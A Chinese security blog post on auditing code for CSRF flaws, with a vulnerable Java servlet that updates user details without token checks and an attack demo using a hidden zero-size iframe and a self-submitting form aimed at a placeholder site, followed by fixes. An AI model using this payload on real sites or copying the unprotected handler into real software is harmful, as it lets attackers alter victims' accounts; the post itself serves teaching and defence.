php代码审计7审计csrf漏洞

Posted 2021-02-08 XxSec

跨站请求伪造，也有人写出xsrf，黑客伪造用户的http请求，然后将http请求发送给存在csrf的网站，网站执行了伪造的http请求，就引发了跨站请求伪造


漏洞危害:攻击者盗用了你的身份信息，以你的名义发送恶意请求，如发送邮件，消息，盗取你的账号，甚至购买物品，虚拟货币转账等


漏洞本质：攻击者获取到重要参数，成功构造一个伪造请求，如http://www.xx.xx/xx.php?xx=xx&&id=1


挖掘思路：管理后台，会员中心，添加用户等，被引用的核心文件里面有没有验证token和referer相关的代码，没带token可以直接请求这个页面，没带referer则返回相同的数据

代码：
HttpServletRequest request, HttpServletResponse response)
{
    int userid=Integer.valueOf( request.getSession().getAttribute("userid").toString());
    String email=request.getParameter("email");
    String tel=request.getParameter("tel");
    String realname=request.getParameter("realname");
    Object[] params = new Object[4];
    params[0] = email;
    params[1] = tel;
    params[2] = realname;
    params[3] = userid;
    final String sql = "update user set email=?,tel=?,realname=? where userid=?";
    conn.execUpdate(sql,params);
}

代码中接收用户提交的参数“email,tel,realname”，之后修改了该用户的数据，一旦接收到一个用户发来的请求，就执行修改操作。提交表单代码：

<form action="http://localhost/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>
当用户点提交时，就会触发修改操作,如果“代码示例”中的代码，是xxxx.com上的一个web应用，那么恶意用户为了攻击xxxx.com的登录用户，可以构造2个html页面。

页面a.htm中，iframe一下b.htm，把宽和高都设为0。

<iframe src="b.htm" width="0" height="0"></frame> 这是为了当攻击发生时，受害用户看不到提交成功结果页面。
页面b.htm中，有一个表单，和一段脚本，脚本的作用是，当页面加载时，自动提交这个表单
<form id="modify" action="http://xxxx.com/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>

<script>
    document.getElementById("modify").submit();
</script>
攻击者只要把页面a.htm放在自己的web服务器上，并发送给登录用户即可。
用户打开a.htm后，会自动提交表单，发送给xxxx.com下的那个存在CSRF漏洞的web应用，所以用户的信息，就被迫修改了。


修复方案：验证码，添加referer验证，添加token验证